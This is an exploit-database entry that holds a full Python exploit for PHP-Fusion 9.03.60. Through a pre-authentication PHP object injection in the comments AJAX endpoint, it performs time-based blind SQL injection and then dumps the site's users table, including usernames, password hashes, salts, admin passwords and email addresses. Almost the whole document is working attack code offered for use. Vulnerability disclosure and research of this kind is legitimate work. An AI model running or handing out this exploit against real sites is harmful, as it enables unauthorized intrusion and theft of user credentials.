PHP-Fusion 9.03.60 - PHP Object Injection

# Exploit Title: PHP-Fusion 9.03.60 - PHP Object Injection
# Date: 2020-05-26
# Exploit Author: coiffeur
# Vendor Homepage: https://www.php-fusion.co.uk/home.php
# Software Link: https://www.php-fusion.co.uk/php_fusion_9_downloads.php
# Version: v9.03.60

# Description:
# PHP Object Injection to SQL injection (pre-auth)


import sys

import requests

import subprocess

GENERATOR_NAME = "gen.php"
GENERATOR_CONTENT = """<?php
if (count($argv) < 2) {
    echo 'Usage: php gen.php "<PAYLOAD>"';
    die;
}

$ar["comment_item_id"] = "1";
$ar["comment_item_type"] = $argv[1];

$payload = urlencode(base64_encode(serialize($ar)));
echo $payload;
?>
"""


DEBUG = 1
DELTA = None
TRESHOLD = 0.60
LIKE = "f%admin"
COLUMNS = ["user_id", "user_name", "user_algo", "user_salt", "user_password",
           "user_admin_algo", "user_admin_salt", "user_admin_password", "user_email"]


def usage():
    banner = """NAME: PHPFusion v9.03.50, PHP Object Injection to SQL injection
SYNOPSIS: python poi_to_sqli_9.03.50.py <URL>
DESCRIPTION:
    Dump the content of the table named fusionX...X_users
AUTHOR: coiffeur
    """
    print(banner)


def generator(action):
    if action == "w":
        with open(GENERATOR_NAME, "w") as f:
            f.write(GENERATOR_CONTENT)
    if action == "r":
        _ = subprocess.Popen(["rm", GENERATOR_NAME], stdout=subprocess.PIPE)


def generate_payload(text):
    p = subprocess.Popen(["php", GENERATOR_NAME, text], stdout=subprocess.PIPE)
    out, _ = p.communicate()
    return out


def check(payload):
    datas = {"comment_options": generate_payload(payload)}
    r = requests.post(
        url=f"{sys.argv[1]}/includes/classes/PHPFusion/Feedback/Comments.ajax.php", data=datas)
    return r.elapsed.total_seconds()


def evaluate_delay():
    global DELTA
    deltas = []
    payload = "' UNION SELECT SLEEP(2)-- - '"
    for _ in range(3):
        deltas.append(check(payload))
    DELTA = sum(deltas)/len(deltas)


def get_tbl_name_len():
    i = 0
    while 1:
        payload = f"' UNION SELECT (CASE WHEN (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_name LIKE '{LIKE}' )<{i} THEN SLEEP(2) ELSE 0 END) -- - '"
        if check(payload) >= DELTA*TRESHOLD:
            return i-1
        if i > 100:
            print(f"[x] Exploit failed")
            exit(-1)
        i += 1


def get_tbl_name(length):
    tbl_name = ""
    for i in range(1, length+1):
        min, max = 0, 127-1
        while min < max:
            mid = (max + min) // 2
            payload = f"' UNION SELECT (CASE WHEN (SELECT ASCII(SUBSTR(table_name,{i},1)) FROM information_schema.tables WHERE table_name LIKE '{LIKE}' )<={mid} THEN SLEEP(2) ELSE 0 END) -- - '"
            if check(payload) >= DELTA*TRESHOLD:
                max = mid
            else:
                min = mid + 1
        tbl_name += chr(min)
        if DEBUG:
            print(f"[DEBUG] Table name: {tbl_name}")
    return tbl_name


def get_rows_number(tbl_name):
    i = 0
    while 1:
        payload = f"' UNION SELECT (CASE WHEN (SELECT COUNT(user_name) FROM {tbl_name})>{i} THEN 0 ELSE SLEEP(2) END) -- - '"
        if check(payload) >= DELTA*TRESHOLD:
            return i
        i += 1


def get_elt_len(tbl_name, column_name, offset):
    i = 0
    while 1:
        payload = f"' UNION SELECT (CASE WHEN (SELECT LENGTH({column_name}) FROM {tbl_name} LIMIT 1 OFFSET {offset})<{i} THEN SLEEP(2) ELSE 0 END) -- - '"
        if check(payload) >= DELTA*TRESHOLD:
            if DEBUG:
                print(
                    f"[DEBUG] Element {offset} in {column_name} from {tbl_name} length: {i-1}")
            return i-1
        i += 1


def get_elt(tbl_name, column_name, offset, length):
    elt = ""
    for i in range(1, length+1):
        min, max = 0, 127-1
        while min < max:
            mid = (max + min) // 2
            payload = f"' UNION SELECT (CASE WHEN (SELECT ASCII(SUBSTR({column_name},{i},1)) FROM {tbl_name} LIMIT 1 OFFSET {offset} )<={mid} THEN SLEEP(2) ELSE 0 END) -- - '"
            if check(payload) >= DELTA*TRESHOLD:
                max = mid
            else:
                min = mid + 1
        elt += chr(min)
        if DEBUG:
            print(
                f"[DEBUG] Element {offset} in {column_name} from {tbl_name}: {elt}")
    print(f"[*] Element {offset} in {column_name} from {tbl_name}: {elt}")
    return elt


def get_rows(tbl_name, row_number):
    print(f"[*] Trying to dump {tbl_name}")
    rows = []
    for offset in range(row_number):
        row = []
        for column_name in COLUMNS:
            elt_length = get_elt_len(tbl_name, column_name, offset)
            row.append(get_elt(tbl_name, column_name, offset, elt_length))
        print(f"[*] Row {offset}: {row}")
        rows.append(row)
    print(f"[*] Rows: {rows}")


def main():
    if len(sys.argv) < 2:
        print(usage())
        exit(-1)

    if DEBUG:
        print(f"[*] Target: {sys.argv[1]}")

    if DEBUG:
        print(f"[DEBUG] Writting generator to {GENERATOR_NAME}")
    generator("w")

    evaluate_delay()
    if DEBUG:
        print(f"[*] Delta: {DELTA}")

    tbl_name_len = get_tbl_name_len()
    if DEBUG:
        print(
            f"[DEBUG] Looking for table like {LIKE} with length {tbl_name_len}")

    tbl_name = get_tbl_name(tbl_name_len)
    print(f"    Table name: {tbl_name}")

    prefix = f"{tbl_name.split('_')[0]}_"
    print(f"[*] Prefix: {prefix}")

    user_table_name = f"{prefix}users"

    number_of_rows = get_rows_number(user_table_name)
    if DEBUG:
        print(f"[*] {user_table_name} got {number_of_rows} rows")

    get_rows(user_table_name, number_of_rows)

    if DEBUG:
        print(f"[DEBUG] Removing  {GENERATOR_NAME}")
    generator("r")


if __name__ == "__main__":
    main()